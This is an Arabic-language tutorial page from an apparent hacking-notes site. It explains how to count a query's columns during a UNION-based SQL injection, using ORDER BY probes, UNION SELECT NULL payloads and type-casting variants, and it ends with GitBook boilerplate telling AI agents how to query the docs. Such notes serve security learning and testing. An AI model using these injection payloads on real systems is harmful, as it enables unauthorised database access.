> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/sql-injection/union-attack-determining-number-of-columns.md).

# اكتشاف عدد الأعمدة في هجوم UNION

### هجوم UNION في حقن SQL، تحديد عدد الأعمدة التي يُرجعها الاستعلام

* **الخلفية:** `category` عامل تصفية قابل للاستغلال بحقن SQL؛ تتضمن استجابة التطبيق نتائج SQL، لذا فإن `UNION` يسمح بحقن سطر مرئي إضافي.
* **الهدف:** ابحث عن العدد الدقيق للأعمدة التي يُرجعها الاستعلام الأصلي لبناء استعلامات متوافقة `UNION SELECT`.
* **طريقة سريعة:**

1. **اختبر باستخدام `ORDER BY`** — زِد الفهرس حتى يحدث خطأ (يشير الخطأ إلى أن الفهرس يتجاوز عدد الأعمدة):

   ````
    ```sql
    ' ORDER BY 1-- -
    ' ORDER BY 2-- -
    ' ORDER BY 3-- -
    ```
   ````

* عندما `ORDER BY N` يتسبب في حدوث خطأ، فإن عدد الأعمدة هو `< N`.

2. أكِّد ذلك بحقن سطر UNION يحتوي على NULL — أنشئ UNION SELECT بعدد الأعمدة نفسه؛ إذا عرض التطبيق السطر المحقون (قيمًا فارغة)، فالعدد صحيح. مثال (3 أعمدة):

   ```sql
   ' UNION SELECT NULL, NULL, NULL-- -
   ```

* إذا ظهر الصف، فإن الاستعلام الأصلي يُرجع 3 أعمدة. وإلا، فاضبط عدد `NULL` وأعِد الاختبار.

**متغيرات مفيدة :**

* استخدم ثوابت لتحديد العمود المعروض (مفيد إذا كانت بعض الأعمدة فقط تُرجع):

  ```sql
  ' UNION SELECT 'A', 'B', 'C'-- -
  ```

(يتيح لك تحديد الأعمدة في الاستجابة بصريًا التي تقابل الأعمدة المحقونة.)

* إذا فشل UNION بسبب الأنواع، فاستبدل بعض الثوابت بـ CAST(NULL AS VARCHAR2) / NULL وفقًا لنوع نظام إدارة قاعدة البيانات، أو عدّل الأنواع باستخدام CAST/TO/ CHAR.

النتيجة المتوقعة: سيظهر صف إضافي يحتوي على NULL (أو ثوابت) → تم تحديد عدد الأعمدة.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/sql-injection/union-attack-determining-number-of-columns.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
